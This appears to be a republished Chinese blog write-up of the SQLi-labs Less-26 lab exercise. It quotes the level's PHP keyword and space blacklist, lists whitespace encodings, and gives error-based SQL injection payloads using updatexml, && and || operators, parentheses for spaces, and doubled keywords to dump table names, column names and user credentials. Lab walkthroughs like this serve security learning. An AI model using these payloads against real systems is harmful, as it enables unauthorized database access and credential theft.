当前位置:网站首页>SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
SQL注入 Less26(过滤空格和注释符,使用不带空格的报错注入)
2022-07-28 11:24:00 【华为云】
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;}尝试绕过空格
替换空格:
(1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/**/(2)正则空白符:%09、%0A、%0B、%0D、%2025%为百分号,%25A0就是空白符%09——TAB键(水平)%0a——新建一行%0c——新的一页%0d return 功能%0b——TAB键(垂直)%a0——空格==内联注释常用于绕过空格==
尝试了一下,发现绕过不了空格
由于Windows下无法使用一些特殊字符来替换空格,Linux可以,可以去Linux下尝试
不使用空格的注入方法(报错注入)
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26是&的url编码。
因为and前后都必须要有空格,所以使用&&
但是&&不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。
用||也可以,更好用
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
==注意这里用括号包裹语句,绕过空格==
用括号()将每个查询的部分独立开
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
这个问题,之前报错注入也出现过,可能是多出了Limit 0,1导致构不成整条语句了
也有可能是这里(table_schema="security"%26%26table_name="users")出现了问题
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
猜你喜欢

Distributed system (III) construction of distributed transaction service

Hcip day 1

程序的存储态与运行态

Unity遇坑记之 ab包卸载失败
![[general database integrated development environment] Shanghai daoning provides you with Aqua Data Studio downloads, tutorials, and trials](/img/46/830b7703ae7cbfa6051137061560c2.png)
[general database integrated development environment] Shanghai daoning provides you with Aqua Data Studio downloads, tutorials, and trials

直接插入排序与希尔排序

Lua对table进行深拷贝

Unity 一键替换场景中的物体

108. Introduction to the usage of SAP ui5 image display control Avatar

Ruiji takeout - day01
随机推荐
ES6知识点补充
2022.07.10 summer training personal qualifying (V)
Hcip day 1
[diary of supplementary questions] [2022 Niuke summer multi school 2] i-let fat tension
Lua 中 __index、__newindex、rawget、rawset的理解
Upgrading of computing power under the coordination of software and hardware, redefining productivity
[diary of supplementary questions] [2022 Hangdian summer school 2] k-dos card
Direct insert sort and Hill sort
【补题日记】[2022杭电暑期多校2]K-DOS Card
[real question of written examination]
Redis安装
[diary of supplementary questions] [2022 Niuke summer school 2] h-take the elevator
WebView详解
Saltstack command injection vulnerability analysis (cve-2020-16846)
tolua之wrap文件的原理与使用
14. User web layer services (II)
How to make the characters in the photos laugh? HMS core video editing service one click smile function makes people smile more naturally
Introduction to the usage of SAP ui5 image display control avatar trial version
Excel shortcut keys (letters + numbers) Encyclopedia
Hcip (PAP authentication and chap authentication of PPP)